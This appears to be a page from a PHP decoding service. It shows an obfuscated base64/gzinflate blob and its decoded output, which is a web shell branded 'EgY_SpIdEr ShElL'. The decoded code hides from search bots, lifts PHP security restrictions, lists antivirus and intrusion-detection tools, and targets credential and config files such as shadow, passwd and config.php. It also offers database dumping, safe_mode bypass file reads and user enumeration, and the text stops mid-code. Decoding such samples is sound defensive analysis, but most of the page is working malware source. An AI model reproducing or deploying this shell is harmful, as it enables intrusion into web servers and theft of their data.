Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('7P1rdyJJkiAMf89z8j9EUppC6tQF0CWFlMpOQIBAEhJXSVTWaiAigBABQREg..

Decoded Output download


 if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");} $language='eng'; $auth = 0; $name='7d1f6442a9ed59e62f93dcbc2695baa6'; $pass='7d1f6442a9ed59e62f93dcbc2695baa6'; @setlocale(LC_ALL,'ru_RU.cp1251'); @ini_restore("safe_mode"); @ini_restore("open_basedir"); @ini_restore("safe_mode_include_dir"); @ini_restore("safe_mode_exec_dir"); @ini_restore("disable_functions"); @ini_restore("allow_url_fopen"); if(@function_exists('ini_set')) { @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('file_uploads',1); @ini_set('allow_url_fopen',1); } else { @ini_alter('error_log',NULL); @ini_alter('log_errors',0); @ini_alter('file_uploads',1); @ini_alter('allow_url_fopen',1); } error_reporting(E_ALL); $userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl'); $danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja'); $tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/'); $downloaders = array('wget','fetch','lynx','links','curl','get'); $chars_rlph = "abcdefghijklnmopqrstuvwxyz"; $presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php', 'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root', 'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs', 'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing'); define("starttime",@getmicrotime()); if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;}; set_magic_quotes_runtime(0); @set_time_limit(0); if(@function_exists('ini_set')) { @ini_set('max_execution_time',0); @ini_set('output_buffering',0); } else { @ini_alter('max_execution_time',0); @ini_alter('output_buffering',0); } $safe_mode = @ini_get('safe_mode'); $version = '1.42'; if(@version_compare(@phpversion(), '4.1.0') == -1) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; $_COOKIE = &$HTTP_COOKIE_VARS; } if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k] = stripslashes($v); } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm="HELLO!"'); header('HTTP/1.0 401 Unauthorized'); exit("<h1>Access Denied</h1>"); } } if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) { $tempdir='./'; $select_tempdir = '<select name=tempdir><option value="./">./</option>'; foreach( $tempdirs as $item) { if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;} } $select_tempdir .= '</select>'; }else{ if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];} $select_tempdir = $_COOKIE['select_tempdir']; } $head = '<!-- EgY_SpIdEr -->
<html>
<head>
<meta http-equiv="Content-Language" content="ar-sa">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>EgY_SpIdEr ShElL</title>



<STYLE>

BODY
 {
        SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}

tr {
BORDER-RIGHT:  #333333 ;
BORDER-TOP:    #333333 ;
BORDER-LEFT:   #333333 ;
BORDER-BOTTOM: #333333 ;
color: #FFFFFF;
}
td {
BORDER-RIGHT:  #333333 ;
BORDER-TOP:    #333333 ;
BORDER-LEFT:   #333333 ;
BORDER-BOTTOM: #333333 ;
color: #FFFFFF;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #333333;
}
table {
BORDER:  #eeeeee  outset;
BACKGROUND-COLOR: #000000;
color: #333333;
}
input {
BORDER-RIGHT:  #00FF00 1 solid;
BORDER-TOP:    #00FF00 1 solid;
BORDER-LEFT:  #00FF00 1 solid;
BORDER-BOTTOM: #00FF00 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT:  #ffffff 1 solid;
BORDER-TOP:    #999999 1 solid;
BORDER-LEFT:   #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #333333;;
}
submit {
BORDER:  buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #333333;
}
textarea {
BORDER-RIGHT:  #ffffff 1 solid;
BORDER-TOP:    #999999 1 solid;
BORDER-LEFT:   #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #333333;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}

</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>'; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function moreread($temp){ global $lang,$language; $str=''; if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){ if($ffile){ while(!@feof($ffile)){$str .= @fgets($ffile);}; fclose($ffile); } }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){ if($ffile){ $str = @fread($ffile, @filesize($temp)); @fclose($ffile); } }elseif(@function_exists('file')&&($ffiles = @file($temp))){ foreach ($ffiles as $ffile) { $str .= $ffile; } }elseif(@function_exists('file_get_contents')){ $str = @file_get_contents($temp); }elseif(@function_exists('readfile')){ $str = @readfile($temp); }elseif(@function_exists('highlight_file')){ $str = @highlight_file($temp); }elseif(@function_exists('show_source')){ $str = @show_source($temp); }else{echo $lang[$language.'_text56'];} return $str; } function readzlib($filename,$temp=''){ global $lang,$language; $str=''; if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");}; if(@copy("compress.zlib://".$filename, $temp)) { $str = moreread($temp); } else echo $lang[$language.'_text119']; @unlink($temp); return $str; } function morewrite($temp,$str='') { global $lang,$language; if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ if($ffile){ @fwrite($ffile,$str); @fclose($ffile); } }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ if($ffile){ @fputs($ffile,$str); @fclose($ffile); } }elseif(@function_exists('file_put_contents')){ @file_put_contents($temp,$str); }else return 0; return 1; } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(mail($to,$subj,"",$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) { $this->port = '3306'; } if(!@function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) { $this->port = '1433'; } if(!@function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) { $this->port = '5432'; } $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!@function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!@function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; break; case 'MySQLi': if(empty($this->port)) { $this->port = '3306'; } if(!@function_exists('mysqli_connect')) return 0; $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port); if(is_resource($this->connection)) return 1; break; case 'mSQL': if(!@function_exists('msql_connect')) return 0; $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'SQLite': if(!@function_exists('sqlite_open')) return 0; $this->connection = @sqlite_open($this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; case 'MySQLi': return 1; break; case 'mSQL': if(@msql_select_db($this->base,$this->connection)) return 1; break; case 'SQLite': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) > 0) { return 1; } return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) > 0) { return 1; } return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; case 'MySQLi': if(false===($this->res=@mysqli_query($this->connection,$query))) { $this->error = @mysqli_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'mSQL': if(false===($this->res=@msql_query($query,$this->connection))) { $this->error = @msql_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'SQLite': if(false===($this->res=@sqlite_query($this->connection,$query))) { $this->error = @sqlite_error_string($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MySQLi': $this->num_rows=@mysqli_num_rows($this->res); $this->num_fields=@mysqli_num_fields($this->res); while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res))); @mysqli_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'mSQL': $this->num_rows=@msql_num_rows($this->res); $this->num_fields=@msql_num_fields($this->res); while(false !== ($this->rows[] = @msql_fetch_array($this->res))); @msql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'SQLite': $this->num_rows=@sqlite_num_rows($this->res); $this->num_fields=@sqlite_num_fields($this->res); while(false !== ($this->rows[] = @sqlite_fetch_array($this->res))); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '##    Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'MySQLi': $this->dump[0] = '## MySQLi dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'mSQL': $this->dump[0] = '## mSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'SQLite': $this->dump[0] = '## SQLite dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; case 'MySQLi': @mysqli_close($this->connection); break; case 'mSQL': @msql_close($this->connection); break; case 'SQLite': @sqlite_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; case 'MySQLi': return @mysqli_affected_rows($this->res); break; case 'mSQL': return @msql_affected_rows($this->res); break; case 'SQLite': return @sqlite_changes($this->res); break; default: return 0; break; break; case 'cURL': if(empty($_POST['egy_spider'])){ } else { $curl=$_POST['egy_spider']; $ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__); curl_exec($ch); var_dump(curl_exec($ch)); echo "</textarea></CENTER>"; } break; case 'copy': if(empty($snn)){ if(empty($_GET['snn'])){ if(empty($_POST['snn'])){ } else { $u1p=$_POST['snn']; } } else { $u1p=$_GET['snn']; } } $u1p=""; $tymczas=""; $temp=tempnam($tymczas, "cx"); if(copy("compress.zlib://".$snn, $temp)){ $zrodlo = fopen($temp, "r"); $tekst = fread($zrodlo, filesize($temp)); fclose($zrodlo); echo "".htmlspecialchars($tekst).""; unlink($temp); echo "</textarea></CENTER>"; } break; case 'ini_restore': if(empty($_POST['ini_restore'])){ } else { $ini=$_POST['ini_restore']; echo ini_get("safe_mode"); echo ini_get("open_basedir"); require_once("$ini"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["egy"]); echo "</textarea></CENTER>"; } break; case 'glob': function reg_glob() { $chemin=$_REQUEST['glob']; $files = glob("$chemin*"); foreach ($files as $filename) { echo "$filename\n"; } } if(isset($_REQUEST['glob'])) { reg_glob(); } break; case 'sym1': if(empty($_POST['sym1p'])){ } else { $symp=$_POST['sym1p']; } if(empty($_POST['sym1p2'])){ } else { $symp2=$_POST['sym1p2']; symlink("a/a/a/a/a/a/", "dummy"); symlink("dummy".$symp2."".$symp."", "xxx"); unlink("dummy"); while (1) { symlink(".", "dummy"); } } break; case 'sym2': @include(xxx); break; case 'plugin': if ($_POST['plugin'] ){ for($uid=0;$uid<60000;$uid++){ $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list ($key, $val) = each($ara)){ print "$val:"; } print "\n"; } } echo "</textarea>"; } } } } if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) { if($file=moreread($_POST['d_name'])){ $filedump = $file; } else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; } if(!empty($_POST['cmd'])) { @ob_clean(); $filename = @basename($_POST['d_name']); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if (isset($_POST['cmd']) && $_POST['cmd']=="db_query") { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; else { if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; else { foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) { case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result()) { echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) { foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; } echo "</table>"; } break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; } } } } } echo "<br><form name=form method=POST>"; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['12'])) { @unlink(__FILE__); } if(isset($_GET['11'])) { @unlink($tempdir.'bdpl'); @unlink($tempdir.'back'); @unlink($tempdir.'bd'); @unlink($tempdir.'bd.c'); @unlink($tempdir.'dp'); @unlink($tempdir.'dpc'); @unlink($tempdir.'dpc.c'); @unlink($tempdir.'prxpl'); @unlink($tempdir.'grep.txt'); } if(isset($_GET['2'])) { echo $head; function U_value($value) { if ($value == '') return '<i>no value</i>'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; foreach (@ini_get_all() as $key=>$value) { $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; } echo $r; echo '</table>'; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['3'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; $cpuf = @file("cpuinfo"); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i<$c;$i++) { $info = @explode(":",$cpuf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['4'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; $memf = @file("meminfo"); if($memf) 